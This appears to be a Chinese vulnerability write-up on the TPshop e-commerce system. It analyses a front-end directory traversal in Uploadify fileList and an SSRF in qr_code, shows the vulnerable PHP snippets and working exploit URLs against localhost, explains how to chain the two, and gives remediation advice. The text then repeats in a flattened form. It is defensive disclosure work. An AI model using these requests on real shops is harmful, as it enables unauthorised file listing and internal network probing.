某shop 前台文件遍历&SSRF组合拳
字数 898 2025-08-29 08:32:24

TPshop 前台文件遍历与SSRF漏洞组合利用分析

0x01 漏洞概述

TPshop电商系统存在两个安全漏洞:

  1. 前台文件遍历漏洞:允许未授权用户遍历服务器文件系统
  2. 前台SSRF漏洞:可通过二维码生成功能发起服务器端请求伪造攻击

这两个漏洞可以组合利用,实现更严重的攻击效果。

0x02 漏洞分析

前台文件遍历漏洞

漏洞位置/application/home/controller/Uploadify.php中的fileList方法

漏洞代码分析

$type = $_GET['type'];
$path = $_COOKIE['user_id'] . '/' . $_GET['path'];
$list = $this->getfiles($path, $allowFiles, $key);

漏洞点

  1. 直接使用用户输入的path参数拼接文件路径
  2. getfiles方法未对路径进行任何过滤
  3. 可通过../实现目录穿越

利用方法

http://127.0.0.1/index.php/home/Uploadify/fileList?type=a&path=../../../application

前台SSRF漏洞

漏洞位置/application/home/controller/index.php中的qr_code方法

漏洞代码分析

$head_pic = $_GET['head_pic'];
if (strpos($head_pic, 'http') === 0) {
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL, $head_pic); 
    $file_content = curl_exec($ch);
    curl_close($ch);
    // 保存下载的文件
}

漏洞点

  1. 直接使用用户提供的URL发起CURL请求
  2. 仅检查URL是否以"http"开头,无其他限制
  3. 可用来探测内网服务

利用方法

http://127.0.0.1/index.php/home/index/qr_code?data=http://www.baidu.com&head_pic=http://127.0.0.1:2020

组合利用

  1. 首先利用文件遍历漏洞查看/upload/qr_code目录内容:
http://127.0.0.1/index.php/home/Uploadify/fileList?type=a&path=../../upload/qr_code
  1. 然后触发SSRF漏洞生成新文件:
http://127.0.0.1/index.php/home/index/qr_code?data=http://www.baidu.com&head_pic=http://127.0.0.1
  1. 再次遍历目录查看新增文件,确认SSRF执行成功

限制

  • 仅支持http/https协议,无法使用其他协议如gopher、dict等
  • 需要配合文件遍历漏洞确认SSRF是否成功

0x03 漏洞修复建议

  1. 对于文件遍历漏洞:

    • 对用户输入的path参数进行严格过滤
    • 禁止目录穿越字符../
    • 限制可访问的目录范围
  2. 对于SSRF漏洞:

    • 禁止使用用户提供的URL发起请求
    • 如需必要,应使用白名单机制限制可访问的域名/IP
    • 禁用CURL的协议重定向功能
  3. 通用安全建议:

    • 实施最小权限原则
    • 对所有用户输入进行严格验证和过滤
    • 定期进行安全审计和代码审查

0x04 总结

TPshop电商系统的这两个漏洞可以组合利用,实现服务器文件系统遍历和内部网络探测。虽然SSRF漏洞存在一定限制(仅支持http/https协议),但仍可能造成严重危害。建议用户及时更新到最新版本或按照上述建议进行修复。

TPshop 前台文件遍历与SSRF漏洞组合利用分析 0x01 漏洞概述 TPshop电商系统存在两个安全漏洞: 前台文件遍历漏洞:允许未授权用户遍历服务器文件系统 前台SSRF漏洞:可通过二维码生成功能发起服务器端请求伪造攻击 这两个漏洞可以组合利用,实现更严重的攻击效果。 0x02 漏洞分析 前台文件遍历漏洞 漏洞位置 : /application/home/controller/Uploadify.php 中的 fileList 方法 漏洞代码分析 : 漏洞点 : 直接使用用户输入的 path 参数拼接文件路径 getfiles 方法未对路径进行任何过滤 可通过 ../ 实现目录穿越 利用方法 : 前台SSRF漏洞 漏洞位置 : /application/home/controller/index.php 中的 qr_code 方法 漏洞代码分析 : 漏洞点 : 直接使用用户提供的URL发起CURL请求 仅检查URL是否以"http"开头,无其他限制 可用来探测内网服务 利用方法 : 组合利用 首先利用文件遍历漏洞查看 /upload/qr_code 目录内容: 然后触发SSRF漏洞生成新文件: 再次遍历目录查看新增文件,确认SSRF执行成功 限制 : 仅支持http/https协议,无法使用其他协议如gopher、dict等 需要配合文件遍历漏洞确认SSRF是否成功 0x03 漏洞修复建议 对于文件遍历漏洞: 对用户输入的 path 参数进行严格过滤 禁止目录穿越字符 ../ 限制可访问的目录范围 对于SSRF漏洞: 禁止使用用户提供的URL发起请求 如需必要,应使用白名单机制限制可访问的域名/IP 禁用CURL的协议重定向功能 通用安全建议: 实施最小权限原则 对所有用户输入进行严格验证和过滤 定期进行安全审计和代码审查 0x04 总结 TPshop电商系统的这两个漏洞可以组合利用,实现服务器文件系统遍历和内部网络探测。虽然SSRF漏洞存在一定限制(仅支持http/https协议),但仍可能造成严重危害。建议用户及时更新到最新版本或按照上述建议进行修复。